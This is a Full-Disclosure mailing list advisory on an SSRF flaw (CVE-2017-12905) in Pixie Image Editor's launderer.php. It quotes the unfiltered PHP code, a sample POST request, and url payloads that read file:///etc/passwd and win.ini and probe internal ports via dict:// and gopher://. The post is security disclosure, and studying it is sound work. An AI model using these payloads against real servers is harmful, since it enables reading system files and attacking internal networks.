lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 20 Sep 2017 18:24:26 +0800
From: "" <>
To: fulldisclosure <>
Subject: [FD] Pixie image Editor SSRF vulnerability for CVE-2017-12905

Pixie image Editor SSRF vulnerability for CVE-2017-12905

title: Pixie image Editor SSRF vulnerability for CVE-2017-12905

Date: 20/09/2017

Vulnerability Type: SSRF(Server Side Request Forgery)

Vendor of Product: vebto(

Attack Type: Remote

Impact: Importent

Author:BeiJing Baimaohui technology co., LTD.

Version: Pixie Image Editor 1.4 and 1.7

CVE-ID : CVE-2017-12905


I found "Pixie Image Editor" a vulnerability,this vulnerability allow remote attacks to arbitrary files read,scan network port,information detection,attack internal network vulnerable’s server,may even cause a remote command 

In the `Launderer.php` file did not send to the POST of the url parameter to filter is introduced into the curl_exec or file_get_contents, resulting in SSRF holes or arbitrary files read.

Flaws in the code:

      if (isset($_POST['url'])) {
     $url = $_POST['url'];
     $mime = pathinfo($url, PATHINFO_EXTENSION);
     if (function_exists('curl_version')) {
     $handle = curl_init();
     curl_setopt($handle, CURLOPT_URL, $url);
     curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1);
     curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);
     $data = curl_exec($handle);
     } else {
     $data = file_get_contents($url);
     $imageData = base64_encode($data);
     $formatted = 'data: '.$mime.';base64,'.$imageData;
     echo $formatted;

I've been tested success of "Pixie Image Editor" 1.4 and 1.7 version.

==========Attack vector==========

     POST /pixie/launderer.php HTTP/1.1
     User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
     Accept-Encoding: gzip, deflate
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 21
     Connection: close
     Upgrade-Insecure-Requests: 1



modify the above url parameter,example,file:

request http protocol: url=

request https protocol: url=

request ftp protocol: url=

file read:url=file:///etc/passwd or url=file:///c:/windows/win.ini



If the curl correlation function is available,then use gopher、tftp、http、https、dict、ldap、file、imap、pop3、smtp、telnet protocols method,if not then only use http、https、ftp protocol

scan prot,example: url=dict:// 
use gopher protocol: url=gopher:// 

this vulnerability  trigger need allow_url_fopen option is enable in php.ini,allow_url_fopen option defualt is enable.


2017-08-17  Found Pixie editor's vulnerability.

2017-08-18  Submit vulnerability information to Vendor.

2017-08-18  Submit CVE-ID request

2017-09-20  Vendor no response, Public vulnerability information

Best wishes!

BeiJing Baimaohui technology co., LTD. &

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists